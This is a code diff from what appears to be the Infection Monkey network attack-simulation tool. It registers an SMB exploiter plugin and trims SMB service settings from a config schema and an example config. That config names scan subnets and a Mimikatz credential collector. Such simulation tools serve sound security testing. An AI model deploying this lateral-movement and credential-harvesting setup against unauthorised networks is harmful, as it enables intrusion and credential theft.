@ -225,6 +226,7 @@ class InfectionMonkey:
|
||||||
puppet.load_plugin(
|
puppet.load_plugin(
|
||||||
"PowerShellExploiter", exploit_wrapper.wrap(PowerShellExploiter), PluginType.EXPLOITER
|
"PowerShellExploiter", exploit_wrapper.wrap(PowerShellExploiter), PluginType.EXPLOITER
|
||||||
)
|
)
|
||||||
|
puppet.load_plugin("SmbExploiter", exploit_wrapper.wrap(SMBExploiter), PluginType.EXPLOITER)
|
||||||
puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER)
|
puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER)
|
||||||
puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER)
|
puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER)
|
||||||
puppet.load_plugin(
|
puppet.load_plugin(
|
||||||
|
|
|
@ -213,24 +213,17 @@ INTERNAL = {
|
||||||
"items": {"type": "string"},
|
"items": {"type": "string"},
|
||||||
"description": "List of SSH key pairs to use, when trying to ssh into servers",
|
"description": "List of SSH key pairs to use, when trying to ssh into servers",
|
||||||
},
|
},
|
||||||
},
|
"smb_service": {
|
||||||
"smb_service": {
|
"title": "SMB service",
|
||||||
"title": "SMB service",
|
"type": "object",
|
||||||
"type": "object",
|
"properties": {
|
||||||
"properties": {
|
"smb_download_timeout": {
|
||||||
"smb_download_timeout": {
|
"title": "SMB download timeout",
|
||||||
"title": "SMB download timeout",
|
"type": "integer",
|
||||||
"type": "integer",
|
"default": 30,
|
||||||
"default": 30,
|
"description": "Timeout (in seconds) for SMB download operation (used "
|
||||||
"description": "Timeout (in seconds) for SMB download operation (used in "
|
"in various exploits using SMB)",
|
||||||
"various exploits using SMB)",
|
},
|
||||||
},
|
|
||||||
"smb_service_name": {
|
|
||||||
"title": "SMB service name",
|
|
||||||
"type": "string",
|
|
||||||
"default": "InfectionMonkey",
|
|
||||||
"description": "Name of the SMB service that will be set up to download "
|
|
||||||
"monkey",
|
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
|
|
|
@ -90,7 +90,6 @@
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"smb_download_timeout": 300,
|
"smb_download_timeout": 300,
|
||||||
"smb_service_name": "InfectionMonkey",
|
|
||||||
"subnet_scan_list": ["192.168.1.50", "192.168.56.0/24", "10.0.33.0/30"],
|
"subnet_scan_list": ["192.168.1.50", "192.168.56.0/24", "10.0.33.0/30"],
|
||||||
"system_info_collector_classes": [
|
"system_info_collector_classes": [
|
||||||
"MimikatzCollector"
|
"MimikatzCollector"
|
||||||
|
|
Loading…
Reference in New Issue